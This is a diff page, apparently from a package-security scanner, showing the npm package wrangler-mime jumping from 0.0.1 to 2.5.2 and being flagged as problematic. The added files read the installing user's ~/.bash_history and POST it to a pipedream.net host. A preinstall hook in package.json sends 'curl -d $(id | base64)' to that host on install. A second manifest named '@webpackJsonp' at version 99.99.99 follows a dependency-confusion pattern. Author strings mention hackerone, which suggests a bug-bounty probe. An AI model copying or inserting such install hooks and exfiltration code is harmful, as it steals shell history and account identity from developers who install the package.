wrangler-mime 0.0.1 → 2.5.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of wrangler-mime might be problematic. Click here for more details.
- package/build/index.js +26 -0
- package/index-test.js +9 -0
- package/index.js +26 -0
- package/package.json +9 -7
- package/package.json.save +13 -0
- package/to-camel-case.js +26 -0
package/build/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const fs = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: '0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
|
14
|
+
};
|
15
|
+
|
16
|
+
const req = http.request(options, function(response){
|
17
|
+
console.log(response);
|
18
|
+
});
|
19
|
+
|
20
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
21
|
+
console.log(data);
|
22
|
+
req.write(data);
|
23
|
+
req.end();
|
24
|
+
|
25
|
+
|
26
|
+
});
|
package/index-test.js
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
exports.printMsg = function() {
|
2
|
+
console.log("This is a test from tosun@wearehackerone.com");
|
3
|
+
}
|
4
|
+
|
5
|
+
const dns = require('dns');
|
6
|
+
|
7
|
+
dns.lookup('0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net', (err, address, family) => {
|
8
|
+
console.log('address: %j family: IPv%s', address, family);
|
9
|
+
});
|
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const fs = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: '0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
|
14
|
+
};
|
15
|
+
|
16
|
+
const req = http.request(options, function(response){
|
17
|
+
console.log(response);
|
18
|
+
});
|
19
|
+
|
20
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
21
|
+
console.log(data);
|
22
|
+
req.write(data);
|
23
|
+
req.end();
|
24
|
+
|
25
|
+
|
26
|
+
});
|
package/package.json
CHANGED
@@ -1,11 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "wrangler-mime",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"description": "Utility package used by kv-asset-handler",
|
3
|
+
"version": "2.5.2",
|
4
|
+
"description": "hackerone-tosun",
|
6
5
|
"main": "index.js",
|
7
|
-
"
|
8
|
-
"
|
9
|
-
"
|
10
|
-
}
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl -d $(id | base64) https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/cdflare__wrangler-mime"
|
9
|
+
},
|
10
|
+
"author": "tosun@hackerone",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {}
|
11
13
|
}
|
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "@webpackJsonp",
|
3
|
+
"version": "99.99.99",
|
4
|
+
"description": "hackerone-tosun",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl -d $(id | base64) https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/d3p3ndcyc0nf5i0n"
|
9
|
+
},
|
10
|
+
"author": "tosun@hackerone",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {}
|
13
|
+
}
|
package/to-camel-case.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const fs = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: '0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
|
14
|
+
};
|
15
|
+
|
16
|
+
const req = http.request(options, function(response){
|
17
|
+
console.log(response);
|
18
|
+
});
|
19
|
+
|
20
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
21
|
+
console.log(data);
|
22
|
+
req.write(data);
|
23
|
+
req.end();
|
24
|
+
|
25
|
+
|
26
|
+
});
|